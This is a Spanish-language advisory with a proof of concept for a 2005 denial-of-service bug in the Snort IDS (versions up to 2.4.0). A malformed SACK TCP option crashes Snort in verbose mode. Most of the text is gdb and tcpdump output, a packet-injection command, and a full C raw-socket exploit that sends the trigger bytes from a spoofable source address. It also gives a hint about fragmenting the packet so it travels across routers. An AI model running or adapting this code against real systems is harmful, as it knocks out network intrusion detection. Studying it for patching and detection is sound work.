



```

root@blackb0x # gdb -q snort
Using host libthread_db library /lib/tls/i686/cmov/libthread_
db.so.1".
(gdb) r -veX -i lo
Starting program: /usr/local/bin/snort -veX -i lo
...CORTADO...
08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20
DgmLen:44
*****S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
TCP Options (2) =>
Program received signal SIGSEGV, Segmentation fault.
0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.
c:1543
1543             memcpy(tmp, p->tcp_options[i].data, 2);
(gdb) print tmp
$1 = "\000\000\000\000"
(gdb) print p
$2 = (Packet *) 0xbffff360
(gdb) print i
$3 = 0
(gdb) print p->tcp_options[i]
$4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
(gdb) print p->tcp_options[i].code
$3 = 5 '\005'
(gdb) x/4b p->tcp_options_data
0x824edd0:    0x05    0x02    0x00    0x00

```

El error está en la línea 1543 de log.c

```

root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c |
grep -C 10 1543
1533         case TCPOPT_NOP:
1534             fwrite("NOP ", 4, 1, fp);
1535             break;
1536
1537         case TCPOPT_WSCALE:
1538             fprintf(fp, "WS: %u ", p->tcp_options[i].
data[0]);
1539             break;
1540
1541         case TCPOPT_SACK:
1542             bzero((char *) tmp, 5);
1543             memcpy(tmp, p->tcp_options[i].data, 2);
1544             fprintf(fp, "Sack: %ua", EXTRACT_
16BITS(tmp));
1545             bzero((char *) tmp, 5);
1546             memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
1547             fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
1548             break;
1549
1550         case TCPOPT_SACKOK:
1551             fwrite("SackOK ", 7, 1, fp);
1552             break;

```

Leyendo la salida de GDB se encuentra que el valor de p->tcp\_options[i].code es 5 (TCPOPT\_SACK).

Analizando el paquete completo con tcpdump:

```

#tcpdump -i lo -eX -c 123 | tail -5
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
213975407:213975407(0) win 5840

0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001  E...Å 0...Ã¿..Z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422  ....rÃ .P.Ã .oCÃ±."
0020: 6002 16d0 3caf 0000 0502 0000          `..Ã <Ã~.....

```

Aparentemente los últimos cuatro bytes son los maliciosos. Por ello se crea nuestro propio paquete:

```

root@blackb0x # printf "\x05\x02\x00\x00" > payload
root@blackb0x # nemesiis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y
64876 -o ./payload
TCP Packet Injected

```

Y de nuevo se obtiene:

```

root@blackb0x # snort -veX -i lo -q
08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316
IpLen:20 DgmLen:44
*****S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24
TCP Options (2) => Violación de segmento

```

Pero el fallo parece no afectar las configuraciones normales del IDS (sin -v activado):

```

root@blackb0x # snort -c etc/snort.conf -D
root@blackb0x # ps aux | grep snort
root    9947  5.3 31.6 38616 34720 ?        Ss   11:24  0:00 snort
-c etc/snort.conf -D
root    9949  0.0  0.6  3384   760 pts/1  S+   11:24  0:00 grep snort
root@blackb0x # ./snorttrigger localhost
--[ Snort <= 2.4.0 Trigger p0c
--[ By nitroUs

--[ Sending Malformed TCP/IP Packet...
--[ Sent 44 bytes to localhost
--[ Snort killed !
root@blackb0x # ps aux | grep snort
root    9947  1.9 31.6 38616 34736 ?        Ss   11:24  0:00 snort
-c etc/snort.conf -D
root    9952  0.0  0.6  3384   760 pts/2  S+   11:24  0:00 grep snort

```

Ver el código de concepto.

## PRUEBA DE CONCEPTO

```

/* -----
||-----+ Snort <= 2.4.0 Trigger p0c +-----||
||-----||
||--=[ nitrous [at] vulnfact [dot] com ]--||
||--=[     VulnFact Security Labs     ]--||
||--=[           21 Ago 2005           ]--||
||--=[           Mexico                ]--||
||-----||
-----

```

Snort <= 2.4.0 SACK TCP Option Error Handling  
 Este código envía al host especificado un paquete TCP/IP con 4 bytes extras, correspondientes al campo TCP Options [TCP Header]. Estos 4 bytes son "\x05\x02\x00\x00". NOTA!!! Snort solamente cae cuando se está corriendo en verbose mode (-v). Como el campo TCP->th\_sum es 0 (cero), el primer Router por donde pase este paquete lo descartaría por no tener una checksum válida; pero usando fragmentación IP se podría rutear hasta el destino a más de un salto (hop). Este ejemplo sin fragmentación sólo funciona de una máquina a otra directamente conectada

RFC #1072 - TCP Extensions for Long-Delay Paths

### 3.2- TCP SACK Option:

```

...
Kind: 5
Length: Variable
+-----+-----+-----+-----+-----+
| Kind=5 | Length | Relative Origin | Block Size |
+-----+-----+-----+-----+-----+

```

Analizando el paquete con 'tcpdump' en OpenBSD 3.5 se ve:  
 11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S  
 213975407:213975407(0) win 5840  
 <malformed sack [len 0] ,eol>  
 0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E..Ã 0..Ã¿...z....  
 0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....rÃ .P.Ã ,oCÃ±,"  
 0020: 6002 16d0 3caf 0000 0502 0000 ..Ã <Ã~.....

Testeado en:

- [+] snort 2.4.0 a OpenBSD 3.7 GENERIC // Yeah ;)
- [+] snort 2.4.0 a Ubuntu Linux 5.04 "Hoary Hedgehog"
- [+] snort 2.3.2 a Debian Linux 3.1 "Sarge"
- [+] snort 2.3.0 a Ubuntu Linux 5.04 "Hoary Hedgehog"
- [+] snort 2.3.0 a Red Hat Linux 9
- [+] snort 2.2.0 a Ubuntu Linux 5.04 "Hoary Hedgehog"
- [+] snort 2.0.0 a OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAC, stacked, ran, dex, benn, beck, zlotan,



Rowter, Gus, Crypkey, protocolo, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball fuzzer, gcarrillog, JSS, y en especial a Mariita ( Sexy Colombiana ;) ). A la música de "Sussie 4" ;)...  
 Federico L. Bossi Bonin  
 \*/

```

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
    fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n",
    name);
    fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);
    return 0;
}

```

```

}

int main(int argc, char **argv)
{
    char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
    char *srcip = DEFAULT_SRC_IP;
    int sockfd, count;
    int one = 1; /* setsockopt() */
    struct sockaddr_in target;
    struct hostent *host2ip;
    struct ip *IP = (struct ip *) packet;
    struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

    if(argc < 2)
        return(usage(*argv));

    if(argc == 3)
        srcip = argv[2];

    if((host2ip = gethostbyname(argv[1])) == NULL){
        perror("gethostbyname");
        exit(-1);
    }

    if(getuid() != 0){
        fprintf(stderr, "Ups!, must be root to perform RAW
sockets\n");
        exit(-1);
    }

    memset(packet, 0x00, sizeof(packet));

    memset(&target, 0x00, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(64876);
    target.sin_addr = *((struct in_addr *)host2ip->h_addr);

    /* BUILDING MALFORMED PACKET */
    IP->ip_hl = 0x05;
    IP->ip_v = 0x04;
    IP->ip_tos = 0x00;
    IP->ip_len = IPSIZE + TCPSIZE + 4;
    IP->ip_id = 0x00;
    IP->ip_off = 0x00;
    IP->ip_ttl = 0xff;
    IP->ip_p = IPPROTO_TCP;
    IP->ip_sum = 0x00;
    IP->ip_src.s_addr = inet_addr(srcip);
    IP->ip_dst.s_addr = target.sin_addr.s_addr;

    TCP->th_sport = htons(31337);
    TCP->th_dport = target.sin_port;
    TCP->th_seq = 0x00;

```

```

TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/* END */

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -
1){
    perror("socket");
    exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one,
sizeof(one)) == -1){
    perror("setsockopt");
    exit(-1);
}

printf("--[ Snort <= 2.4.0 Trigger p0c\n");
printf("--[ By nitroUs <nitrous[at]vulnfact[dot]com>\n\n");
printf("--[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct
sockaddr *)&target, sizeof(target))) == -1){
    perror("sendto");
    close(sockfd);
    exit(-1);
}

printf("--[ Sent %d bytes to %s\n", count, argv[1]);
printf("--[ Snort killed !\n");

close(sockfd);
return 0;
}

```

## RESPUESTA

Aún trabajando para lanzar la versión 2.4.1 de Snort.

## LINK

Código del concepto

[www.vulnfact.com/exploits/snorttrigger.c](http://www.vulnfact.com/exploits/snorttrigger.c)

Fuzzball2 TCP/IP Options Fuzzer

[www.nologin.org/main.pl?action=codeView&codeId=54&](http://www.nologin.org/main.pl?action=codeView&codeId=54&)

RFC #1072 - TCP Extensions for Long-Delay Paths

<ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt>

TCP Option Numbers

[www.iana.org/assignments/tcp-parameters](http://www.iana.org/assignments/tcp-parameters) 